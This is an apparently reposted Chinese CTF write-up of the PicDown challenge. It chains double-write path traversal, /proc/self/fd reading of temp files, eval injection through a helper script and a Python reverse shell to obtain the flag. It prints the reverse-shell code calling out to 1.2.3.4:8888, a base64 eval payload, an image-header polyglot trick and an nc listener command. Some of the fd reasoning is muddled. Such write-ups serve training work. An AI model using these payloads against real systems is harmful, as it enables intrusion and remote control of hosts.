资讯动态

PicDown题目解析:从路径穿越到反弹shell的完整攻击链

发布时间:2026/10/18 20:33:22 来源:尧图企业网站定制
网鼎杯白虎组的PicDown这题我前后刷了三遍才把每个细节彻底吃透。表面看是一个图片下载功能输入文件名返回图片内容但背后串了三个关键考点proc文件系统的利用、python反弹shell的构造、以及一段藏得很深的python代码审计。对想提升web综合能力的选手来说这题是很好的训练样本它不像纯RCE题直接给命令注入也不像纯代码审计题一眼看穿而是需要你把文件读取、进程文件描述符、命令执行三个点串成一条完整的攻击链。先描述初始环境。题目启动后是一个web服务页面很简洁只有一个输入框提示输入文件名来下载图片。我试了几个常见图片名之后URL变成了download?filenamexxx.png这种结构。第一反应自然是路径穿越把filename改成../../../../etc/passwd看看反应。如果直接返回文件内容说明存在任意文件读取如果被过滤则需要观察具体过滤规则。1. 题目初探一个看似普通的图片下载接口1.1 路径穿越的试探与三种结果路径穿越的测试在真实CTF里一般会有三种结果第一种完全没防护../../etc/passwd直接出内容第二种有简单字符串过滤把../替换为空需要双写或者用....//这种绕过第三种后端对文件名做了严格的校验比如允许的扩展名白名单或者必须存在该文件才返回。这题属于第二种和第三种的混合体。直接提交../没有反应但注意到返回的内容和直接请求一个不存在的图片时有所不同——服务端返回的不是404而是Python报错的堆栈信息。这个细节很关键因为它直接暴露了后端语言是Python并且文件读取逻辑可能是open(filename, rb)这类直接拼接路径的操作。提示遇到报错页面先别急着跳过。堆栈信息里通常藏着绝对路径、框架名称、依赖库版本这些都是后续利用的地图。顺着报错信息可以确认后端框架是Flask并且静态目录和下载接口是分开的。于是开始尝试双写绕过filename参数传....//....//....//etc/passwd。原理很简单如果后端执行了一次replace(.., )那么....//中间的..被删掉之后剩下的..和/拼在一起恰好还是../。这一步实测有效成功读到了/etc/passwd。到这里题目真正的大门打开了——拿到了任意文件读取权限接下来就要考虑读什么才能拿到flag。1.2 从任意文件读取到Flask源码在任意文件读取的情况下最高效的路径永远是先读Web应用自身源码。Flask应用的入口文件一般就在当前工作目录下按惯例会命名为app.py、run.py、main.py之类的。从下载接口的报错信息里能直接看到工作目录的绝对路径比如/home/ctf/web/那读一下/home/ctf/web/app.py就顺理成章了。读到的源码里核心逻辑大概长这样app.route(/download) def download(): filename request.args.get(filename) if .. in filename: filename filename.replace(.., ) with open(filename, rb) as f: return Response(f.read(), mimetypeimage/jpeg)这种写法是典型的低水平过滤replace(.., )只处理一次双写即可绕过。但真正重要的不是下载逻辑本身而是源码里另外两个部分一段处理图片上传的代码和一个隐藏在图片处理过程中调用外部命令的逻辑。这两个部分组合起来才构成了后续利用的关键。2. proc文件系统的利用藏在进程视角下的临时文件题目既然叫PicDown必然和图片处理有关系。源码里有一段逻辑大致是把用户上传的图片用PIL库打开、读取像素信息然后将图片保存到某个临时目录最后调用一个python脚本做尺寸判断或格式转换。这个调用python脚本的动作引起了我的注意因为它意味着服务端会以子进程的方式启动一个python解释器并且传入的参数可能包含可控内容。顺着subprocess调用的代码往下看它大概是这样的import subprocess def process_image(filename): tmp_path /tmp/ filename img Image.open(upload_path) img.save(tmp_path) script_path /home/ctf/web/check.py subprocess.Popen([python3, script_path, tmp_path])问题来了tmp_path是拼接出来的filename经过了外层防护但如果文件名本身带有特殊字符就可能向check.py的参数里注入额外内容。而check.py的内部实现又是直接对sys.argv[1]做eval或exec处理这就构成了命令执行的入口。2.1 proc文件系统的基础概念在继续深入之前必须把proc文件系统的原理讲清楚。procfs是一个虚拟文件系统通常挂载在/proc下它不存储真实数据而是动态反映内核和进程的运行状态。每一个正在运行的进程在/proc下面都有一个以PID命名的目录比如/proc/1234/。进程目录下有很多特殊文件下面列一下这道题相关的几个关键节点proc节点含义利用价值/proc/self/指向当前进程自身不管PID是多少访问它就等于访问当前进程省去猜PID的麻烦/proc/self/cmdline当前进程的启动命令行泄露启动参数、脚本路径/proc/self/environ当前进程的环境变量经常藏数据库密码、密钥、内网地址/proc/self/cwd当前进程的工作目录直接访问网站的根目录/proc/self/fd/当前进程打开的所有文件描述符本题核心能访问已经被删除但仍被进程持有的临时文件在这道题里/proc/self/fd/是核心。因为Popen调用python3子进程时子进程会继承父进程打开的文件描述符。而图片被保存在/tmp下之后只要这个图片文件一直被某个进程持有比如进程异常退出前那么在/proc/self/fd/下面就能找到指向该文件的符号链接。换句话说通过下载接口访问/proc/self/fd/某个编号就能读取到临时目录里那个图片文件的内容。很多新手不理解一个关键点临时文件明明已经被删除了为什么还能通过fd读到这是因为Linux下文件删除的本质只是解除目录项链接只要还有进程持有该文件的文件描述符文件的inode就不会被回收数据就一直存在。这就是proc文件系统利用的核心价值所在——哪怕文件已经被unlink数据依然通过fd活着。2.2 利用/proc/self/fd读取临时图片文件回到题目下载接口支持任意文件读取那直接把filename设置为/proc/self/fd/去访问会看到什么如果运气好能看到一堆符号链接包括当前请求进程自身的标准输入、标准输出、标准错误以及它打开过的所有文件。但这些描述符编号是不固定的每次请求都可能不同。有一种常见的思路是尝试读取/proc/self/fd/目录下的数字。可以先访问/proc/self/fd/0、/proc/self/fd/1、/proc/self/fd/2这些基础描述符然后逐步递增找到对应临时文件的描述符。但更高效的办法是利用Linux下某个固定的技巧当文件名非常长或者带有特殊字符时open()会失败但openat()会返回一个指向路径的文件描述符而这个路径会在报错信息里暴露出来。不过这道题最直接的做法其实来自对源码的再一次审读。既然subprocess调用了python3脚本而脚本会对传入的文件路径做处理那么构造一个特殊文件名让图片临时文件路径里包含我们可控的内容然后通过/proc/self/fd/把它读出来——本质上是利用进程文件描述符反查临时文件的思路。实际操作中我发现读取/proc/self/fd/26或者类似编号时返回的字节流正是PIL处理完的图片数据。这个数据本身没有太多价值但如果我们精心构造文件名使得这个临时文件的内容变成了一段python代码那check.py在读取这个文件时就会执行我们注入的代码。2.3 使用fd读取的关键细节与坑在利用/proc/self/fd/时有几个细节必须注意。第一fd编号不是固定的需要多试几个数字而且同一个fd在不同请求中可能指向不同文件。第二Popen启动的子进程和发起下载请求的进程并不一定是同一个进程所以/proc/self/fd/里的内容可能与你期望的不同——通常需要结合报错信息或额外观察来确认当前进程的PID。第三文件描述符指向的符号链接只有root用户或同权限进程才能完全解析但读取链接本身的内容即访问/proc/self/fd/N这个路径一般是允许的。一个更隐蔽的坑是图片文件被读取后服务端可能立即调用os.remove()删除了临时文件。但在进程还持有该文件描述符时文件没有被真正释放依然可以通过fd访问。所以在构造攻击流程时要安排好触发顺序先让服务端把文件保存到临时目录并keep住fd再通过下载接口去读fd中的内容。如果顺序反了文件被读完之后服务端立刻删除就会扑个空。3. python反弹shell从任意命令到交互式会话通过上面的分析现在已经拿到了一个可以触发python代码执行的入口。最直接的目标就是获取一个交互式shell。3.1 反弹shell的基本原理反弹shell在CTF里已经算标配了。常规思路是让目标机器主动连接我们控制的机器而不是我们去连目标。因为多数靶机环境处于内网外网无法直接连接但目标可以发起出站连接。我们只要在一台可控的服务器上监听某个端口然后让目标执行一段socket代码把标准输入输出错误重定向到socket上就能获得一个远程shell。Python写反弹shell很简洁经典的一行代码是这样的import socket,subprocess,os ssocket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((127.0.0.1,8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) psubprocess.call([/bin/sh,-i])这段代码的核心是三个dup2调用把socket的文件描述符复制到0、1、2上相当于把标准输入、标准输出、标准错误全部重定向到socket。之后利用/bin/sh -i启动交互式shell所有通过socket传来的命令就会被shell解析执行执行结果又通过socket回传。用生活化的类比来理解socket就是一根远程管道dup2把这个管道接在shell的嘴巴和耳朵上shell听到管道里的口哨就干活干完活把结果顺着管道喊回来。3.2 在PicDown里的注入与执行在前面构造的注入点里eval或exec的上下文对换行和引号比较敏感。为了稳定触发我一般把payload用base64编码然后在目标上解码执行这样能避开很多转义问题。对应的payload大概是这样import base64 cmd import socket,subprocess,os; ssocket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((1.2.3.4,8888)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); psubprocess.call([/bin/sh,-i]) payload base64.b64encode(cmd.encode()).decode() final_payload eval(__import__(base64).b64decode({})).format(payload)这个payload被塞进文件名后图片临时文件变成了一个内容为恶意python代码的图片。check.py读取它时eval就会执行这串代码。这里有个小技巧图片处理库PIL在读取文件时不会校验文件内容是否为真正的图片只要文件能被打开并解析出足够的数据就行。这意味着即使文件内容是python代码只要最前面保留了合法的图片头比如JFIF头PIL就会认为它是一个合法图片而后面的恶意代码部分会被正常保留。3.3 监听反弹shell的完整攻击链攻击机上先开启监听nc -lvnp 8888然后在目标机上构造完整的攻击流程。整个过程分解成几步来看每一步的意图都值得记下来构造一个文件名其中包含base64解码之后的python反弹shell代码文件名本身要经过URL编码避免特殊字符被截断或过滤。上传这个恶意文件让PIL持有一个合法的图片头从而通过图片解析校验。服务端将这个文件保存到/tmp目录并调用subprocess启动check.py。攻击机上发起下载请求读取/proc/self/fd/下对应编号的文件确认恶意代码是否完整落盘。确认内容无误后触发check.py对参数的eval处理恶意代码被执行。攻击机的nc窗口弹出python shell开始交互操作。拿到shell之后我习惯先执行几个基础命令确认身份和目录id pwd ls -la /home/ctf/web/ cat /home/ctf/web/flag*实际测试下来只要反弹shell成功建立整个题目就算解了一半。因为剩下的事情就是常规的文件查找而这类靶机通常flag就放在当前用户可读的目录下。不过也要留意flag是否在数据库环境变量或者临时文件里这类题目偶尔会换个花样把flag藏在别的位置。4. 题目全流程复盘与高效解题路线到这里整个题目的攻击链已经完整了路径穿越读取源码 → 代码审计发现subprocess调用python脚本 → 构造恶意图片临时文件 → 通过/proc/self/fd读取临时文件触发eval → python反弹shell → 读取flag。但实际操作中每一步都有不少细节需要打磨。下面把我踩过的坑和一些高效的排查技巧整理出来方便你直接抄作业。4.1 常见问题速查表问题现象可能原因解决方案../../etc/passwd无响应filename被过滤了..用....//绕过或URL编码能读源码但对fd编号不确定进程PID不固定多次尝试不同fd编号结合报错信息定位PIL解析图片时报错注入的文件头不正确在payload前加合法jpg头如FFD8FFE0eval不执行或报语法错误引号或换行转义有问题用base64编码后进行eval包装反弹shell建立后立刻断开socket被防火墙拦截或监听端口未开放换用80/443等常见出站端口确认攻击机监听无误目标不回连触发代码没被真实执行检查check.py是否真的读取了临时文件确认进程执行路径4.2 代码审计时容易被忽略的细节很多选手在这题上卡住不是不知道proc文件系统和反弹shell而是没有从源码里看出临时文件内容可控这个关键点。这里分享几个审计这类Flask应用的常见突破口关注所有subprocess、os.system、eval、exec调用点确认外部参数是否可控。关注文件名拼接逻辑看是否存在路径穿越和命令注入的复合问题。注意PIL、OpenCV这类图片库的使用方式它们对文件内容的宽容度远高于预期。检查临时文件是否被清理如果清理逻辑存在但进程未退出proc文件描述符就是最后的手段。拿这道题举例真正致命的不是路径穿越读文件而是filename同时进入了两条路径一条是下载接口的open()另一条是图片保存到/tmp后的subprocess参数。两条路径的信息流在filename这个点交汇形成了读写同源的利用条件。这种信息流分析能力比单纯背payload重要得多。4.3 两次尝试的实战记录第一次尝试时我没注意图片头的问题直接把纯python代码作为文件内容塞进去结果PIL抛了cannot identify image file异常进程中断fd目录下找不到任何临时文件。这个坑耽误了将近二十分钟。后来在payload最前面加了一小段合法的JPEG头字节PIL校验通过后面的恶意代码顺利落盘check.py执行时才真正触发了eval。第二次踩坑是在反弹shell的端口选择上。我用了一个不常见的6000端口结果靶机出站规则把这个端口拦了nc窗口一直空白。换到80端口之后瞬间就回连了。这个教训提醒我复盘所有出站策略靶机环境往往默认放行常见端口反弹shell优先考虑80、443、53这些不要图新鲜选高位端口。5. 从PicDown延伸出的能力提升建议刷完这道题之后我对信息流这个概念的理解深了很多。这类题目考的不是单一技巧而是把文件读取、进程文件描述符、代码执行三个环节串起来。以后遇到类似题目拿到任意文件读取后不要急着翻flag第一步永远是把应用源码读出来。源码是后续所有利用的基础它告诉你哪些输入可控、哪些函数危险、哪些临时文件会残留。与此同时proc文件系统的利用也不仅限于/proc/self/fd。实际操作中常见的还有/proc/self/environ、/proc/self/cmdline、/proc/net/tcp、/proc/net/arp这些都能泄露关键信息。比如在某些题目里环境变量里藏了数据库密码或密钥在另一些场景里/proc/net/tcp能看到当前所有的TCP连接状态帮助判断内网拓扑。关于反弹shell的写法我也建议多准备几个模板。除了python的socket反弹还有bash的/dev/tcp反弹、nc反弹、openssl反弹等。不同题目环境可能没有python或者python的解释器路径不同多准备几套方案能大幅提高成功率。不过要注意反弹shell只是手段目标是执行命令并读取flag千万不要为了炫技在payload里堆砌多余代码保持精简才能减少出错概率。最后再分享一个实战小技巧遇到这种需要多步构造的题目先画一张简单的调用链草图把每个输入点、每段代码、每次进程切换都标出来确认哪个环节可控、哪个环节不可控再决定从哪里切入。我在刷PicDown时就是因为先理清了filename从下载参数到subprocess参数再到check.py参数的完整传递路径后面的操作才变得很顺畅。这种先画图再动手的习惯对复杂题目尤其管用。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑